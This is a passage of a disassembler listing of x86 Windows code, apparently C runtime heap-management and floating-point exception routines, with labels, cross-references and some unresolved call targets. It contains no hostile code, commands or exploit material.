[ebp+arg_4+3], 0 jnz short loc_41B841 mov edi, 80000000h mov ecx, esi shr edi, cl mov ecx, [ebp+arg_0] or [ecx], edi loc_41B841: ; CODE XREF: sub_41B592+29Fj lea eax, [eax+edx*4+44h] mov edx, 80000000h mov ecx, esi jmp short loc_41B873 ; --------------------------------------------------------------------------- loc_41B84E: ; CODE XREF: sub_41B592+299j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41B864 lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl mov ecx, [ebp+arg_0] or [ecx+4], edi loc_41B864: ; CODE XREF: sub_41B592+2C0j lea eax, [eax+edx*4+0C4h] lea ecx, [esi-20h] mov edx, 80000000h loc_41B873: ; CODE XREF: sub_41B592+2BAj shr edx, cl or [eax], edx loc_41B877: ; CODE XREF: sub_41B592+287j mov eax, [ebp+arg_8] mov [ebx], eax mov [eax+ebx-4], eax loc_41B880: ; CODE XREF: sub_41B592+1A2j ; sub_41B592:loc_41B740j push 1 pop eax loc_41B883: ; CODE XREF: sub_41B592+1A9j pop edi pop esi pop ebx leave retn sub_41B592 endp ; =============== S U B R O U T I N E ======================================= sub_41B888 proc near ; CODE XREF: sub_41BB80:loc_41BD4Fp cmp dword_433EA0, 0FFFFFFFFh push ebx push ebp push esi push edi jnz short loc_41B89C mov esi, offset off_433E90 jmp short loc_41B8B9 ; --------------------------------------------------------------------------- loc_41B89C: ; CODE XREF: sub_41B888+Bj push 2020h push 0 push dword_4CF024 nop call near ptr 2710000h mov esi, eax test esi, esi jz loc_41B9C5 loc_41B8B9: ; CODE XREF: sub_41B888+12j mov ebp, dword_4241B4 push 4 push 2000h push 400000h push 0 call ebp mov edi, eax test edi, edi jz loc_41B9AE push 4 mov ebx, 10000h push 1000h push ebx push edi call ebp test eax, eax jz loc_41B9A0 mov eax, offset off_433E90 cmp esi, eax jnz short loc_41B918 cmp off_433E90, 0 jnz short loc_41B908 mov off_433E90, eax loc_41B908: ; CODE XREF: sub_41B888+79j cmp off_433E94, 0 jnz short loc_41B92D mov off_433E94, eax jmp short loc_41B92D ; --------------------------------------------------------------------------- loc_41B918: ; CODE XREF: sub_41B888+70j mov [esi], eax mov eax, off_433E94 mov [esi+4], eax mov off_433E94, esi mov eax, [esi+4] mov [eax], esi loc_41B92D: ; CODE XREF: sub_41B888+87j ; sub_41B888+8Ej lea eax, [edi+400000h] lea ecx, [esi+98h] mov [esi+14h], eax lea eax, [esi+18h] mov [esi+0Ch], ecx mov [esi+10h], edi mov [esi+8], eax xor ebp, ebp mov ecx, 0F1h loc_41B94F: ; CODE XREF: sub_41B888+E2j xor edx, edx cmp ebp, 10h setnl dl dec edx and edx, ecx dec edx inc ebp mov [eax], edx mov [eax+4], ecx add eax, 8 cmp ebp, 400h jl short loc_41B94F push ebx push 0 push edi call sub_417330 add esp, 0Ch loc_41B978: ; CODE XREF: sub_41B888+112j mov eax, [esi+10h] add eax, ebx cmp edi, eax jnb short loc_41B99C or byte ptr [edi+0F8h], 0FFh lea eax, [edi+8] mov [edi], eax mov dword ptr [edi+4], 0F0h add edi, 1000h jmp short loc_41B978 ; --------------------------------------------------------------------------- loc_41B99C: ; CODE XREF: sub_41B888+F7j mov eax, esi jmp short loc_41B9C7 ; --------------------------------------------------------------------------- loc_41B9A0: ; CODE XREF: sub_41B888+63j push 8000h push 0 push edi nop call near ptr 284056Ah loc_41B9AE: ; CODE XREF: sub_41B888+4Bj cmp esi, offset off_433E90 jz short loc_41B9C5 push esi push 0 push dword_4CF024 nop call near ptr 2700000h loc_41B9C5: ; CODE XREF: sub_41B888+2Bj ; sub_41B888+12Cj xor eax, eax loc_41B9C7: ; CODE XREF: sub_41B888+116j pop edi pop esi pop ebp pop ebx retn sub_41B888 endp ; =============== S U B R O U T I N E ======================================= sub_41B9CC proc near ; CODE XREF: sub_41BA22+A5p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 8000h push 0 push dword ptr [esi+10h] nop call near ptr 284056Ah cmp off_435EB0, esi jnz short loc_41B9F1 mov eax, [esi+4] mov off_435EB0, eax loc_41B9F1: ; CODE XREF: sub_41B9CC+1Bj cmp esi, offset off_433E90 jz short loc_41BA19 mov eax, [esi+4] mov ecx, [esi] push esi push 0 mov [eax], ecx mov eax, [esi] mov ecx, [esi+4] mov [eax+4], ecx push dword_4CF024 call near ptr 2700000h nop pop esi retn ; --------------------------------------------------------------------------- loc_41BA19: ; CODE XREF: sub_41B9CC+2Bj or dword_433EA0, 0FFFFFFFFh pop esi retn sub_41B9CC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BA22 proc near ; CODE XREF: sub_41BB3B+3Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi mov esi, off_433E94 push edi loc_41BA2F: ; CODE XREF: sub_41BA22+B7j cmp dword ptr [esi+10h], 0FFFFFFFFh jz loc_41BACD and [ebp+var_4], 0 lea edi, [esi+2010h] mov ebx, 3FF000h loc_41BA48: ; CODE XREF: sub_41BA22+72j cmp dword ptr [edi], 0F0h jnz short loc_41BA89 mov eax, ebx push 4000h add eax, [esi+10h] push 1000h push eax call near ptr 284056Ah nop test eax, eax jz short loc_41BA89 or dword ptr [edi], 0FFFFFFFFh dec dword_4CDA1C mov eax, [esi+0Ch] test eax, eax jz short loc_41BA7E cmp eax, edi jbe short loc_41BA81 loc_41BA7E: ; CODE XREF: sub_41BA22+56j mov [esi+0Ch], edi loc_41BA81: ; CODE XREF: sub_41BA22+5Aj inc [ebp+var_4] dec [ebp+arg_0] jz short loc_41BA96 loc_41BA89: ; CODE XREF: sub_41BA22+2Cj ; sub_41BA22+46j sub ebx, 1000h sub edi, 8 test ebx, ebx jge short loc_41BA48 loc_41BA96: ; CODE XREF: sub_41BA22+65j cmp [ebp+var_4], 0 mov ecx, esi mov esi, [esi+4] jz short loc_41BACD cmp dword ptr [ecx+18h], 0FFFFFFFFh jnz short loc_41BACD push 1 lea eax, [ecx+20h] pop edx loc_41BAAD: ; CODE XREF: sub_41BA22+9Aj cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_41BABE inc edx add eax, 8 cmp edx, 400h jl short loc_41BAAD loc_41BABE: ; CODE XREF: sub_41BA22+8Ej cmp edx, 400h jnz short loc_41BACD push ecx call sub_41B9CC pop ecx loc_41BACD: ; CODE XREF: sub_41BA22+11j ; sub_41BA22+7Dj ... cmp esi, off_433E94 jz short loc_41BADF cmp [ebp+arg_0], 0 jg loc_41BA2F loc_41BADF: ; CODE XREF: sub_41BA22+B1j pop edi pop esi pop ebx leave retn sub_41BA22 endp ; =============== S U B R O U T I N E ======================================= sub_41BAE4 proc near ; CODE XREF: sub_417C3B+3Ap ; sub_41944F+173p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] mov edx, offset off_433E90 push esi mov ecx, edx loc_41BAF0: ; CODE XREF: sub_41BAE4+1Cj cmp eax, [ecx+10h] jbe short loc_41BAFA cmp eax, [ecx+14h] jb short loc_41BB02 loc_41BAFA: ; CODE XREF: sub_41BAE4+Fj mov ecx, [ecx] cmp ecx, edx jz short loc_41BB37 jmp short loc_41BAF0 ; --------------------------------------------------------------------------- loc_41BB02: ; CODE XREF: sub_41BAE4+14j test al, 0Fh jnz short loc_41BB37 mov esi, eax mov edx, 100h and esi, 0FFFh cmp esi, edx jb short loc_41BB37 mov esi, [esp+4+arg_4] mov [esi], ecx mov esi, [esp+4+arg_8] mov ecx, eax and cx, 0F000h sub eax, ecx mov [esi], ecx sub eax, edx pop esi sar eax, 4 lea eax, [eax+ecx+8] retn ; --------------------------------------------------------------------------- loc_41BB37: ; CODE XREF: sub_41BAE4+1Aj ; sub_41BAE4+20j ... xor eax, eax pop esi retn sub_41BAE4 endp ; =============== S U B R O U T I N E ======================================= sub_41BB3B proc near ; CODE XREF: sub_417C3B+4Dp ; sub_41944F+1D5p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] mov ecx, [esp+arg_4] sub ecx, [eax+10h] sar ecx, 0Ch lea eax, [eax+ecx*8+18h] mov ecx, [esp+arg_8] movzx edx, byte ptr [ecx] add [eax], edx and byte ptr [ecx], 0 cmp dword ptr [eax], 0F0h mov dword ptr [eax+4], 0F1h jnz short locret_41BB7F inc dword_4CDA1C cmp dword_4CDA1C, 20h jnz short locret_41BB7F push 10h call sub_41BA22 pop ecx locret_41BB7F: ; CODE XREF: sub_41BB3B+2Bj ; sub_41BB3B+3Aj retn sub_41BB3B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BB80 proc near ; CODE XREF: sub_417BC7+4Ap ; sub_41944F+1ACp ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, off_435EB0 push edi loc_41BB8E: ; CODE XREF: sub_41BB80+C6j mov edx, [esi+10h] cmp edx, 0FFFFFFFFh jz loc_41BC39 mov edi, [esi+8] lea ecx, [esi+2018h] mov eax, edi sub eax, esi sub eax, 18h sar eax, 3 shl eax, 0Ch add eax, edx cmp edi, ecx mov [ebp+var_4], eax jnb short loc_41BBF3 loc_41BBB9: ; CODE XREF: sub_41BB80+6Fj mov ecx, [edi] mov ebx, [ebp+arg_0] cmp ecx, ebx jl short loc_41BBDC cmp [edi+4], ebx jbe short loc_41BBDC push ebx push ecx push eax call sub_41BD88 add esp, 0Ch test eax, eax jnz short loc_41BC4B mov eax, [ebp+var_4] mov [edi+4], ebx loc_41BBDC: ; CODE XREF: sub_41BB80+40j ; sub_41BB80+45j add edi, 8 lea ecx, [esi+2018h] add eax, 1000h cmp edi, ecx mov [ebp+var_4], eax jb short loc_41BBB9 jmp short loc_41BBF6 ; --------------------------------------------------------------------------- loc_41BBF3: ; CODE XREF: sub_41BB80+37j mov ebx, [ebp+arg_0] loc_41BBF6: ; CODE XREF: sub_41BB80+71j mov eax, [esi+8] mov ecx, [esi+10h] lea edi, [esi+18h] mov [ebp+var_8], eax cmp edi, eax mov [ebp+var_4], ecx jnb short loc_41BC3C loc_41BC09: ; CODE XREF: sub_41BB80+B5j mov eax, [edi] cmp eax, ebx jl short loc_41BC28 cmp [edi+4], ebx jbe short loc_41BC28 push ebx push eax push [ebp+var_4] call sub_41BD88 add esp, 0Ch test eax, eax jnz short loc_41BC4B mov [edi+4], ebx loc_41BC28: ; CODE XREF: sub_41BB80+8Dj ; sub_41BB80+92j add [ebp+var_4], 1000h add edi, 8 cmp edi, [ebp+var_8] jb short loc_41BC09 jmp short loc_41BC3C ; --------------------------------------------------------------------------- loc_41BC39: ; CODE XREF: sub_41BB80+14j mov ebx, [ebp+arg_0] loc_41BC3C: ; CODE XREF: sub_41BB80+87j ; sub_41BB80+B7j mov esi, [esi] cmp esi, off_435EB0 jz short loc_41BC5B jmp loc_41BB8E ; --------------------------------------------------------------------------- loc_41BC4B: ; CODE XREF: sub_41BB80+54j ; sub_41BB80+A3j mov off_435EB0, esi sub [edi], ebx mov [esi+8], edi jmp loc_41BD83 ; --------------------------------------------------------------------------- loc_41BC5B: ; CODE XREF: sub_41BB80+C4j mov eax, offset off_433E90 mov edi, eax loc_41BC62: ; CODE XREF: sub_41BB80+F8j cmp dword ptr [edi+10h], 0FFFFFFFFh jz short loc_41BC6E cmp dword ptr [edi+0Ch], 0 jnz short loc_41BC7A loc_41BC6E: ; CODE XREF: sub_41BB80+E6j mov edi, [edi] cmp edi, eax jz loc_41BD4F jmp short loc_41BC62 ; --------------------------------------------------------------------------- loc_41BC7A: ; CODE XREF: sub_41BB80+ECj mov ebx, [edi+0Ch] and [ebp+var_4], 0 mov esi, ebx mov eax, ebx sub esi, edi sub esi, 18h sar esi, 3 shl esi, 0Ch add esi, [edi+10h] cmp dword ptr [ebx], 0FFFFFFFFh jnz short loc_41BCA9 loc_41BC98: ; CODE XREF: sub_41BB80+127j cmp [ebp+var_4], 10h jge short loc_41BCA9 add eax, 8 inc [ebp+var_4] cmp dword ptr [eax], 0FFFFFFFFh jz short loc_41BC98 loc_41BCA9: ; CODE XREF: sub_41BB80+116j ; sub_41BB80+11Cj mov eax, [ebp+var_4] push 4 shl eax, 0Ch push 1000h push eax push esi mov [ebp+var_8], eax call near ptr 28406AFh nop cmp eax, esi jnz loc_41BD81 push 0 push [ebp+var_8] push esi call sub_417330 mov edx, [ebp+var_4] add esp, 0Ch test edx, edx mov ecx, ebx jle short loc_41BD10 lea eax, [esi+4] mov [ebp+var_4], edx loc_41BCE6: ; CODE XREF: sub_41BB80+18Ej or byte ptr [eax+0F4h], 0FFh lea edx, [eax+4] mov [eax-4], edx mov edx, 0F0h mov [eax], edx mov [ecx], edx mov dword ptr [ecx+4], 0F1h add eax, 1000h add ecx, 8 dec [ebp+var_4] jnz short loc_41BCE6 loc_41BD10: ; CODE XREF: sub_41BB80+15Ej mov off_435EB0, edi lea eax, [edi+2018h] loc_41BD1C: ; CODE XREF: sub_41BB80+1A8j cmp ecx, eax jnb short loc_41BD2C cmp dword ptr [ecx], 0FFFFFFFFh jz short loc_41BD2A add ecx, 8 jmp short loc_41BD1C ; --------------------------------------------------------------------------- loc_41BD2A: ; CODE XREF: sub_41BB80+1A3j cmp ecx, eax loc_41BD2C: ; CODE XREF: sub_41BB80+19Ej sbb eax, eax and eax, ecx mov [edi+0Ch], eax mov eax, [ebp+arg_0] mov [esi+8], al mov [edi+8], ebx sub [ebx], eax sub [esi+4], eax lea ecx, [esi+eax+8] lea eax, [esi+100h] mov [esi], ecx jmp short loc_41BD83 ; --------------------------------------------------------------------------- loc_41BD4F: ; CODE XREF: sub_41BB80+F2j call sub_41B888 test eax, eax jz short loc_41BD81 mov ecx, [eax+10h] mov [ecx+8], bl lea edx, [ecx+ebx+8] mov off_435EB0, eax mov [ecx], edx mov edx, 0F0h sub edx, ebx mov [ecx+4], edx movzx edx, bl sub [eax+18h], edx lea eax, [ecx+100h] jmp short loc_41BD83 ; --------------------------------------------------------------------------- loc_41BD81: ; CODE XREF: sub_41BB80+143j ; sub_41BB80+1D6j xor eax, eax loc_41BD83: ; CODE XREF: sub_41BB80+D6j ; sub_41BB80+1CDj ... pop edi pop esi pop ebx leave retn sub_41BB80 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BD88 proc near ; CODE XREF: sub_41BB80+4Ap ; sub_41BB80+99p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_0] mov edx, [ebp+arg_8] push ebx push esi mov esi, [ecx+4] push edi mov edi, [ecx] lea ebx, [ecx+0F8h] cmp esi, edx mov [ebp+var_4], edi mov eax, edi mov [ebp+arg_0], ebx jb short loc_41BDCD lea eax, [edi+edx] mov [edi], dl cmp eax, ebx jnb short loc_41BDBC add [ecx], edx sub [ecx+4], edx jmp short loc_41BDC5 ; --------------------------------------------------------------------------- loc_41BDBC: ; CODE XREF: sub_41BD88+2Bj and dword ptr [ecx+4], 0 lea eax, [ecx+8] mov [ecx], eax loc_41BDC5: ; CODE XREF: sub_41BD88+32j lea eax, [edi+8] jmp loc_41BE9B ; --------------------------------------------------------------------------- loc_41BDCD: ; CODE XREF: sub_41BD88+22j add esi, edi cmp byte ptr [esi], 0 jz short loc_41BDD6 mov eax, esi loc_41BDD6: ; CODE XREF: sub_41BD88+4Aj lea esi, [eax+edx] cmp esi, ebx jnb short loc_41BE20 loc_41BDDD: ; CODE XREF: sub_41BD88+96j mov bl, [eax] test bl, bl jnz short loc_41BE13 push 1 lea ebx, [eax+1] pop esi loc_41BDE9: ; CODE XREF: sub_41BD88+68j cmp byte ptr [ebx], 0 jnz short loc_41BDF2 inc ebx inc esi jmp short loc_41BDE9 ; --------------------------------------------------------------------------- loc_41BDF2: ; CODE XREF: sub_41BD88+64j cmp esi, edx jnb short loc_41BE44 cmp eax, [ebp+var_4] jnz short loc_41BE00 mov [ecx+4], esi jmp short loc_41BE0C ; --------------------------------------------------------------------------- loc_41BE00: ; CODE XREF: sub_41BD88+71j sub [ebp+arg_4], esi cmp [ebp+arg_4], edx jb loc_41BEA5 loc_41BE0C: ; CODE XREF: sub_41BD88+76j mov edi, [ebp+var_4] mov eax, ebx jmp short loc_41BE18 ; --------------------------------------------------------------------------- loc_41BE13: ; CODE XREF: sub_41BD88+59j movzx esi, bl add eax, esi loc_41BE18: ; CODE XREF: sub_41BD88+89j lea esi, [eax+edx] cmp esi, [ebp+arg_0] jb short loc_41BDDD loc_41BE20: ; CODE XREF: sub_41BD88+53j lea esi, [ecx+8] loc_41BE23: ; CODE XREF: sub_41BD88+EBj ; sub_41BD88+F2j cmp esi, edi jnb short loc_41BEA5 lea eax, [esi+edx] cmp eax, [ebp+arg_0] jnb short loc_41BEA5 mov al, [esi] test al, al jnz short loc_41BE75 push 1 lea ebx, [esi+1] pop eax loc_41BE3B: ; CODE XREF: sub_41BD88+BAj cmp byte ptr [ebx], 0 jnz short loc_41BE65 inc ebx inc eax jmp short loc_41BE3B ; --------------------------------------------------------------------------- loc_41BE44: ; CODE XREF: sub_41BD88+6Cj lea ebx, [eax+edx] cmp ebx, [ebp+arg_0] jnb short loc_41BE55 sub esi, edx mov [ecx], ebx mov [ecx+4], esi jmp short loc_41BE5E ; --------------------------------------------------------------------------- loc_41BE55: ; CODE XREF: sub_41BD88+C2j and dword ptr [ecx+4], 0 lea esi, [ecx+8] mov [ecx], esi loc_41BE5E: ; CODE XREF: sub_41BD88+CBj mov [eax], dl add eax, 8 jmp short loc_41BE9B ; --------------------------------------------------------------------------- loc_41BE65: ; CODE XREF: sub_41BD88+B6j cmp eax, edx jnb short loc_41BE7C sub [ebp+arg_4], eax cmp [ebp+arg_4], edx jb short loc_41BEA5 mov esi, ebx jmp short loc_41BE23 ; --------------------------------------------------------------------------- loc_41BE75: ; CODE XREF: sub_41BD88+ABj movzx eax, al add esi, eax jmp short loc_41BE23 ; --------------------------------------------------------------------------- loc_41BE7C: ; CODE XREF: sub_41BD88+DFj lea ebx, [esi+edx] cmp ebx, [ebp+arg_0] jnb short loc_41BE8D sub eax, edx mov [ecx], ebx mov [ecx+4], eax jmp short loc_41BE96 ; --------------------------------------------------------------------------- loc_41BE8D: ; CODE XREF: sub_41BD88+FAj and dword ptr [ecx+4], 0 lea eax, [ecx+8] mov [ecx], eax loc_41BE96: ; CODE XREF: sub_41BD88+103j mov [esi], dl lea eax, [esi+8] loc_41BE9B: ; CODE XREF: sub_41BD88+40j ; sub_41BD88+DBj imul ecx, 0Fh shl eax, 4 sub eax, ecx jmp short loc_41BEA7 ; --------------------------------------------------------------------------- loc_41BEA5: ; CODE XREF: sub_41BD88+7Ej ; sub_41BD88+9Dj ... xor eax, eax loc_41BEA7: ; CODE XREF: sub_41BD88+11Bj pop edi pop esi pop ebx leave retn sub_41BD88 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BEAC proc near ; CODE XREF: sub_41944F+19Ap var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx mov edx, [ebp+arg_8] push ebx mov ebx, [ebp+arg_4] push esi movzx ecx, byte ptr [edx] push edi mov edi, [ebp+arg_0] and [ebp+var_4], 0 mov eax, ebx sub eax, [edi+10h] sar eax, 0Ch cmp ecx, [ebp+arg_C] lea edi, [edi+eax*8+18h] jbe short loc_41BEE6 mov eax, [ebp+arg_C] sub ecx, eax mov [edx], al add [edi], ecx mov dword ptr [edi+4], 0F1h jmp short loc_41BF46 ; --------------------------------------------------------------------------- loc_41BEE6: ; CODE XREF: sub_41BEAC+26j jnb short loc_41BF4D mov eax, [ebp+arg_C] lea esi, [edx+eax] lea eax, [ebx+0F8h] cmp eax, esi jb short loc_41BF4D lea eax, [ecx+edx] loc_41BEFB: ; CODE XREF: sub_41BEAC+59j cmp eax, esi jnb short loc_41BF09 cmp byte ptr [eax], 0 jnz short loc_41BF07 inc eax jmp short loc_41BEFB ; --------------------------------------------------------------------------- loc_41BF07: ; CODE XREF: sub_41BEAC+56j cmp eax, esi loc_41BF09: ; CODE XREF: sub_41BEAC+51j jnz short loc_41BF4D mov al, byte ptr [ebp+arg_C] mov [edx], al mov eax, [ebx] cmp edx, eax ja short loc_41BF41 cmp esi, eax jbe short loc_41BF41 lea eax, [ebx+0F8h] cmp esi, eax jnb short loc_41BF38 xor eax, eax mov [ebx], esi cmp [esi], al jnz short loc_41BF33 loc_41BF2C: ; CODE XREF: sub_41BEAC+85j inc eax cmp byte ptr [esi+eax], 0 jz short loc_41BF2C loc_41BF33: ; CODE XREF: sub_41BEAC+7Ej mov [ebx+4], eax jmp short loc_41BF41 ; --------------------------------------------------------------------------- loc_41BF38: ; CODE XREF: sub_41BEAC+76j and dword ptr [ebx+4], 0 lea eax, [ebx+8] mov [ebx], eax loc_41BF41: ; CODE XREF: sub_41BEAC+68j ; sub_41BEAC+6Cj ... sub ecx, [ebp+arg_C] add [edi], ecx loc_41BF46: ; CODE XREF: sub_41BEAC+38j mov [ebp+var_4], 1 loc_41BF4D: ; CODE XREF: sub_41BEAC:loc_41BEE6j ; sub_41BEAC+4Aj ... mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_41BEAC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __fastcall sub_41BF55(int,int,double,int) sub_41BF55 proc near ; CODE XREF: sub_417CA4+51p ; sub_417DEB+51p var_1C = qword ptr -1Ch var_14 = qword ptr -14h var_C = qword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h push ebp mov ebp, esp cmp dword_436608, 0 jnz short loc_41BF8A push [ebp+arg_C] ; int fld qword ptr [ebp+arg_4] push ecx push ecx ; double fstp [esp+0Ch+var_C] push ecx ; int push ecx ; int fldz fstp [esp+14h+var_14] fld qword ptr [ebp+arg_4] push ecx ; int push ecx ; int fstp [esp+1Ch+var_1C] push [ebp+arg_0] ; int push 1 ; int call sub_41C50A add esp, 24h pop ebp retn ; --------------------------------------------------------------------------- loc_41BF8A: ; CODE XREF: sub_41BF55+Aj push 0FFFFh mov dword_4CD9B4, 21h push [ebp+arg_C] call sub_41C77D fld qword ptr [ebp+arg_4] pop ecx pop ecx pop ebp retn sub_41BF55 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41BFA8(int,int,double,double,int) sub_41BFA8 proc near ; CODE XREF: sub_417CA4:loc_417D67p ; sub_417DEB:loc_417EAEp var_74 = qword ptr -74h var_6C = qword ptr -6Ch var_64 = qword ptr -64h var_5C = dword ptr -5Ch var_58 = byte ptr -58h var_20 = dword ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = qword ptr 10h arg_10 = qword ptr 18h arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 58h push [ebp+arg_18] lea eax, [ebp+arg_10] push eax push [ebp+arg_0] call sub_41C2F3 add esp, 0Ch test eax, eax jnz short loc_41BFE6 lea eax, [ebp+arg_10] and [ebp+var_20], 0FFFFFFFEh push eax lea eax, [ebp+arg_8] push eax lea eax, [ebp+arg_18] push [ebp+arg_4] push [ebp+arg_0] push eax lea eax, [ebp+var_58] push eax call sub_41C040 add esp, 18h loc_41BFE6: ; CODE XREF: sub_41BFA8+1Aj push [ebp+arg_0] call sub_41C5DD cmp dword_436608, 0 pop ecx jnz short loc_41C024 test eax, eax jz short loc_41C024 push [ebp+arg_18] ; int fld [ebp+arg_10] push ecx push ecx ; double fstp [esp+64h+var_64] push ecx ; int push ecx ; int fldz fstp [esp+6Ch+var_6C] fld [ebp+arg_8] push ecx ; int push ecx ; int fstp [esp+74h+var_74] push [ebp+arg_4] ; int push eax ; int call sub_41C50A add esp, 24h leave retn ; --------------------------------------------------------------------------- loc_41C024: ; CODE XREF: sub_41BFA8+4Ej ; sub_41BFA8+52j push eax call sub_41C592 mov [esp+5Ch+var_5C], 0FFFFh push [ebp+arg_18] call sub_41C77D fld [ebp+arg_10] pop ecx pop ecx leave retn sub_41BFA8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C040 proc near ; CODE XREF: sub_41BFA8+36p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp mov ecx, [ebp+arg_0] xor eax, eax push ebx push esi mov [ecx+4], eax mov ecx, [ebp+arg_0] push edi push 1 mov [ecx+8], eax mov ecx, [ebp+arg_0] pop ebx mov [ecx+0Ch], eax mov cl, byte ptr [ebp+arg_8] test cl, 10h jz short loc_41C072 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C000008Fh or [eax+4], ebx loc_41C072: ; CODE XREF: sub_41C040+23j test cl, 2 jz short loc_41C085 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000093h or dword ptr [eax+4], 2 loc_41C085: ; CODE XREF: sub_41C040+35j test cl, bl jz short loc_41C097 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000091h or dword ptr [eax+4], 4 loc_41C097: ; CODE XREF: sub_41C040+47j test cl, 4 jz short loc_41C0AA mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C000008Eh or dword ptr [eax+4], 8 loc_41C0AA: ; CODE XREF: sub_41C040+5Aj test cl, 8 jz short loc_41C0BD mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000090h or dword ptr [eax+4], 10h loc_41C0BD: ; CODE XREF: sub_41C040+6Dj mov esi, [ebp+arg_4] mov eax, [ebp+arg_0] push 2 mov ecx, [esi] mov edx, [eax+8] not ecx and ecx, ebx and edx, 0FFFFFFEFh shl ecx, 4 or ecx, edx pop edi mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] and ecx, 4 shl ecx, 1 and edx, 0FFFFFFF7h or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 1 and ecx, 4 and edx, 0FFFFFFFBh or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 3 and ecx, edi and edx, 0FFFFFFFDh or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 5 and ecx, ebx and edx, 0FFFFFFFEh or ecx, edx mov [eax+8], ecx call sub_41C760 test al, bl jz short loc_41C146 mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 10h loc_41C146: ; CODE XREF: sub_41C040+FDj test al, 4 jz short loc_41C151 mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 8 loc_41C151: ; CODE XREF: sub_41C040+108j test al, 8 jz short loc_41C15C mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 4 loc_41C15C: ; CODE XREF: sub_41C040+113j test al, 10h jz short loc_41C166 mov ecx, [ebp+arg_0] or [ecx+0Ch], edi loc_41C166: ; CODE XREF: sub_41C040+11Ej test al, 20h jz short loc_41C170 mov eax, [ebp+arg_0] or [eax+0Ch], ebx loc_41C170: ; CODE XREF: sub_41C040+128j mov eax, [esi] mov ecx, 0C00h and eax, ecx jz short loc_41C1AF cmp eax, 400h jz short loc_41C1A1 cmp eax, 800h jz short loc_41C195 cmp eax, ecx jnz short loc_41C1B5 mov eax, [ebp+arg_0] or dword ptr [eax], 3 jmp short loc_41C1B5 ; --------------------------------------------------------------------------- loc_41C195: ; CODE XREF: sub_41C040+147j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFFEh or ecx, edi jmp short loc_41C1AB ; --------------------------------------------------------------------------- loc_41C1A1: ; CODE XREF: sub_41C040+140j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFFDh or ecx, ebx loc_41C1AB: ; CODE XREF: sub_41C040+15Fj mov [eax], ecx jmp short loc_41C1B5 ; --------------------------------------------------------------------------- loc_41C1AF: ; CODE XREF: sub_41C040+139j mov eax, [ebp+arg_0] and dword ptr [eax], 0FFFFFFFCh loc_41C1B5: ; CODE XREF: sub_41C040+14Bj ; sub_41C040+153j ... mov eax, [esi] mov ecx, 300h and eax, ecx jz short loc_41C1E0 cmp eax, 200h jz short loc_41C1D3 cmp eax, ecx jnz short loc_41C1ED mov eax, [ebp+arg_0] and dword ptr [eax], 0FFFFFFE3h jmp short loc_41C1ED ; --------------------------------------------------------------------------- loc_41C1D3: ; CODE XREF: sub_41C040+185j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFE7h or ecx, 4 jmp short loc_41C1EB ; --------------------------------------------------------------------------- loc_41C1E0: ; CODE XREF: sub_41C040+17Ej mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFEBh or ecx, 8 loc_41C1EB: ; CODE XREF: sub_41C040+19Ej mov [eax], ecx loc_41C1ED: ; CODE XREF: sub_41C040+189j ; sub_41C040+191j mov eax, [ebp+arg_0] mov ecx, [ebp+arg_C] and ecx, 0FFFh mov edx, [eax] shl ecx, 5 and edx, 0FFFE001Fh or ecx, edx mov [eax], ecx mov eax, [ebp+arg_0] or [eax+20h], ebx mov eax, [ebp+arg_0] mov ecx, [eax+20h] and ecx, 0FFFFFFE3h or ecx, edi mov [eax+20h], ecx mov eax, [ebp+arg_10] fld qword ptr [eax] mov eax, [ebp+arg_0] fstp qword 